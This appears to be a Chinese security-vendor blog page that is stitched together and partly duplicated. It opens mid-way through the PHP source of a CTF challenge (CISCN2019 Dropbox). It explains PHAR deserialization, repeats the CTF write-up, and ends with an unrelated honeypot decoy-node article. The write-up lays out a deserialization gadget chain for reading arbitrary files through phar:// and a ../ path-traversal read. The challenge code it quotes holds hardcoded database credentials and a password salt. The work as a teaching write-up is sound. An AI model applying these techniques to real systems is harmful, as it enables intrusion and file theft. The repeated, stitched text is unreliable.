    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '';
        $table .= '';
        foreach ($this->funcs as $func) {
            $table .= '';
        }
        $table .= '';
        $table .= '';
        foreach ($this->results as $filename => $result) {
            $table .= '';
            foreach ($result as $func => $value) {
                $table .= '';
            }
            $table .= '';
            $table .= '';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

分析源代码

可以看到删除文件时使用了File类的delete函数,File类的delete使用了unlink函数,可以触发phar反序列化。

继续看到class.php的File类的close()函数中调用了file_get_contents函数,可以读取文件。但是要怎么触发呢,我们可以看到FileList的__call函数,如果我们可以让FileList参数files为数组且数组中一个类为File,只要有类可以执行$FileList->close(),就可以读取文件并在FileList的析构函数中显示出来了。我们看到User类的析构函数,执行了$db->close()。so,我们让User的$db参数等于FileList就行了。

利用链:User类的$db赋值为FileList类,User类的析构函数执行close方法->触发FileList的__call函数,让$file值为File,执行$file的close函数->File执行close读取文件,控制$filename为想读取的文件->FileList对象销毁,执行析构函数,回显结果。

生成phar文件代码:

image.png

生成phar文件,修改后缀为jpg,上传
删除文件处修改filename为‘phar://phar.jpg’,读取到flag文件

2881944657.png

PHAR (“Php ARchive”) 是PHP中的打包文件,相当于Java中的JAR文件,在php5.3或者更高的版本中默认开启。PHAR文件缺省状态是只读的,当我们要创建一个Phar文件需要修改php.ini中的phar.readonly,修改为:phar.readonly = 0

当通过phar://协议对phar文件进行文件操作时,将会对phar文件中的Meta-data进行反序列化操作,可能造成一些反序列化漏洞。

本文由锦行科技的安全研究团队提供,从攻击者的角度展示了PHAR反序列化攻击的原理和过程。

PHAR文件结构

stub phar:文件标识,格式为xxx

manifest:压缩文件的属性等信息,其中的Meta-data会以序列化的形式存储。

4256307662.png

contents:压缩文件的内容

signature:签名,放在文件末尾

生成PHAR文件

生成程序如下:

image.png

生成phar文件,使用16进制工具查看,可以看到Meta-data中的序列化对象

3864660621.png

测试反序列化

测试程序如下:

image.png

运行结果,可以看到打印了‘test’,证明对象被反序列化创建后销毁。

2402645577.png

虽然在创建PHAR文件时后缀是固定的,但完成创建后我们是可以修改phar的后缀名的,例如修改成.jpg,当执行include('phar://phar.jpg');时也可触发反序列化。

几乎所有文件操作函数都可触发phar反序列化

3102114844.png


CTF演示

题目地址:[CISCN2019 华北赛区 Day1 Web1]Dropbox(链接:https://buuoj.cn/challenges#%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox)

进入题目后,随意注册账号上传文件,上传点只能上传图片后缀

3519686874.png

点击下载,有任意文件读取,但是不能读取flag.txt

4029773680.png

于是读取网页源码,传入filename=../../xxx.php

detele.php

image.png

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '';
        $table .= '';
        foreach ($this->funcs as $func) {
            $table .= '';
        }
        $table .= '';
        $table .= '';
        foreach ($this->results as $filename => $result) {
            $table .= '';
            foreach ($result as $func => $value) {
                $table .= '';
            }
            $table .= '';
            $table .= '';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

分析源代码

可以看到删除文件时使用了File类的delete函数,File类的delete使用了unlink函数,可以触发phar反序列化。

继续看到class.php的File类的close()函数中调用了file_get_contents函数,可以读取文件。但是要怎么触发呢,我们可以看到FileList的__call函数,如果我们可以让FileList参数files为数组且数组中一个类为File,只要有类可以执行$FileList->close(),就可以读取文件并在FileList的析构函数中显示出来了。我们看到User类的析构函数,执行了$db->close()。so,我们让User的$db参数等于FileList就行了。

利用链:User类的$db赋值为FileList类,User类的析构函数执行close方法->触发FileList的__call函数,让$file值为File,执行$file的close函数->File执行close读取文件,控制$filename为想读取的文件->FileList对象销毁,执行析构函数,回显结果。

生成phar文件代码:

image.png

生成phar文件,修改后缀为jpg,上传
删除文件处修改filename为‘phar://phar.jpg’,读取到flag文件

2881944657.png

摘要

基于诱捕节点,蜜罐可以实现攻击欺骗转移和资产隔离防护。但是现有诱捕节点的实现技术存在IP地址资源的分配和冲突的风险,日常维护要求高,需要配备专业的网管人员,增加人力成本。

本文锦行科技提出了一种新的基于windows操作系统的诱捕节点实现技术,利用Libuv库以及采用多进程服务架构技术,在诱捕节点模拟主机网络服务,并通过采用linux虚拟网卡技术的中间层服务实时转发到蜜罐主机中,实现整个攻击者攻击行为的监控及告警功能,解决了现有技术中存在IP地址资源的分配和冲突的风险,增加诱捕节点密度,同时降低了部署成本和维护成本,提高了系统稳定性。

背景技术

为了把攻击者攻击引入到蜜网的蜜罐主机中来,目前除了须有具备完善的系统监控和告警能力的蜜罐主机外,还要看诱捕节点的能力及在客户网络中的部署密度,充分的将攻击行为引入到蜜罐主机中来,让安全管理人员及时知道攻击者渗透了内网、知道哪些服务器被攻击、以及攻击者的具体攻击行为等。

现有诱捕节点的实现技术主要采用:

1.在现有各网段中新增物理服务器

在各网段中添加专门的物理服务器,在此机的物理网卡上配置多个虚拟网卡,并分配相应IP,通过策略路由的方式实现与蜜罐主机IP的互连。

2.在现有不太关键的服务器上安装虚拟机

在各网段中找一台在用但重要程度不高的服务器上安装虚拟机,在虚拟系统中在现有的网卡下配置多个虚拟网卡,并分配相应IP,通过策略路由的方式实现与蜜罐主机IP的互连。

3.通过虚拟网卡及策略路由或端口转发技术

在各网段中找一台在用但重要程度不高的服务器上安装多块物理网卡,在现有的网卡下配置多个虚拟网卡,并分配相应IP,通过策略路由的方式实现与蜜罐主机IP的互连。

但是上述方法中方法1部署物理服务器成本高昂,方法2和方法3不仅存在改造成本,同时还在存在兼容性的风险和节点可靠性依赖的风险,同时这3种方法都存在IP地址资源的分配和冲突的风险,日常维护要求高,需要配备专业的网管人员,增加人力成本。

诱捕节点实现技术

针对上述现有技术中存在的问题,锦行科技公布了一种基于windows操作系统的诱捕节点实现方法及装置。利用通过利用Libuv库以及采用多进程服务架构技术,在诱捕节点模拟主机网络服务,并通过采用linux虚拟网卡技术的中间层服务实时转发到蜜罐主机中,实现整个攻击者攻击行为的监控及告警功能,解决了现有技术中存在IP地址资源的分配和冲突的风险,增加诱捕节点密度,同时降低了部署成本和维护成本,提高了系统稳定性。

该实现方法包括如下步骤:

01.攻击者发起扫描连接;

02.启动windows诱捕节点转发服务,接收攻击者的扫描,并与攻击者建立连接;

03.windows诱捕节点将攻击者身份信息转发给linux中间层转发服务;

04.linux中间层转发服务根据攻击者身份信息,发起与蜜罐主机服务的连接请求;

05.蜜罐主机服务响应连接请求,并将连接响应转发给linux中间层转发服务;

06.linux中间层转发服务根据会话信息,将连接响应信息转发回windows诱捕节点;

07.windows 诱捕节点转发服务根据会话信息,将连接响应信息回应给攻击者。

该实现方法采用TCP/UDP网络协议。

所述windows诱捕节点转发服务采用多进程服务架构,每个进程对应一个蜜罐主机服务。同时,根据windows诱捕节点设备的资源情况,在单台windows诱捕节点中运行多个转发服务进程,代表连接多个蜜罐主机服务,实现一个节点模拟多个蜜罐主机服务的功能。此外,诱捕节点转发服务采用libuv库的异步IO通信机制,将攻击者身份信息、攻击行为信息通过开源的cereal序列化库打包,并异步发送给linux中间层转发服务。并通过异步回调机制将linux中间层转发服务转发的响应包进行解包处理后转发给攻击者。

其中,linux中间层转发服务采用多进程服务架构,每个进程对应多个windows诱捕节点服务及多个蜜罐主机。利用hash table技术实现会话管理,根据TCP/UDP的四元组信息,管理windows诱捕节点与蜜罐主机的连接信息,根据攻击者身份信息和hash table会话表实现简单NAT地址转换服务,将攻击者流量正确的转发到蜜罐主机中。同时,中间层转发服务采用了libuv的异步IO通信机制、cereal序列化库打包技术、linux TUN/TAP虚拟网卡和策略路由技术。

诱捕节点实现装置

基于上述方法,锦行科技还提供了一种基于windows操作系统的诱捕节点实现装置,包括:

1.攻击者单元

属于被诱捕的对象,提供持续攻击行为

2.windows诱捕节点单元

用于接收攻击者的扫描,并建立与攻击者的连接,将攻击者身份信息转发给linux中间层转发服务

3.linux中间层转发单元

用于接收攻击者身份信息,并依据身份信息建立与蜜罐主机服务的连接

4.蜜罐主机单元

用于响应连接请求,并将连接响应转发给linux中间层转发服务

所述windows诱捕节点单元内包括有多组windows诱捕节点转发服务进程,每组windows诱捕节点转发服务进程对应若干个攻击者单元,每组windows诱捕节点转发服务进程均与所述linux中间层转发单元连接,所述linux中间层转发单元连接有若干组蜜罐主机单元,每组蜜罐主机单元均对应一组windows诱捕节点转发服务进程。

结语

本发明同现有技术相比,具有如下优点:

1)本发明由于采用了libuv异步IO通信库,使用单进程服务并发数可达300个以上,网络吞吐率可达7MB每秒。

2)本发明中在网络数据包采用了cereal序列化库,该库采用侵入式二进制编码技术,使得单包编码率达92%以上。从而有效降低cpu使用率,节省了网络带宽。

3)本发明通过使用linux TUN/TAP虚拟网卡技术,解决了攻击数据到蜜罐主机的多网络透明传输。

4)本发明不需要在现有网络中添加物理服务机、不需分配额外的IP 地址资源,增加诱捕节点密度,又降低了部署成本和维护成本。